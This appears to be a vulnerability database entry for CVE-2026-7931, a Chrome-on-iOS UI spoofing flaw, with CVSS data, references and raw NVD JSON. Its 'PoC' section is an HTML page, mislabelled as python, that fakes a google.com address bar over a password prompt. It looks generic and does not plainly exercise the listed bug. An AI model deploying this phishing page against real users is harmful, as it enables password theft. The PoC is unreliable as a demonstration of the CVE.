CVE-2026-7931

Description

Insufficient validation of untrusted input in iOS in Google Chrome on iOS prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome (iOS) < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for demonstrating UI Spoofing concept -->
<!-- This example attempts to overlay a fake address bar -->
<!DOCTYPE html>
<html>
<head>
<style>
    body { margin: 0; overflow: hidden; background-color: #fff; }
    /* Fake address bar styling */
    .fake-bar {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 40px;
        background-color: #f1f3f4;
        z-index: 9999;
        display: flex;
        align-items: center;
        padding: 0 10px;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        font-family: sans-serif;
    }
    .fake-url {
        background: white;
        flex-grow: 1;
        height: 24px;
        border-radius: 12px;
        padding: 0 10px;
        display: flex;
        align-items: center;
        font-size: 12px;
        color: #5f6368;
    }
    .content {
        margin-top: 50px;
        padding: 20px;
    }
</style>
</head>
<body>
    <!-- Fake UI Element mimicking browser address bar -->
    <div class="fake-bar">
        <div class="fake-url">https://www.google.com</div>
    </div>
    <!-- Malicious Content below the fake bar -->
    <div class="content">
        <h1>Security Alert</h1>
        <p>Please re-enter your password to continue.</p>
        <input type="password" placeholder="Password">
        <button>Submit</button>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7931
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7931
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7931/
[4] VulDB https://vuldb.com/cve/CVE-2026-7931
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/474338157

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7931", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:41.443", "lastModified": "2026-05-06T23:36:43.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in iOS in Google Chrome on iOS prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5415705-33E5-46D5-8E4D-9EBADC8C5705"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/474338157", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}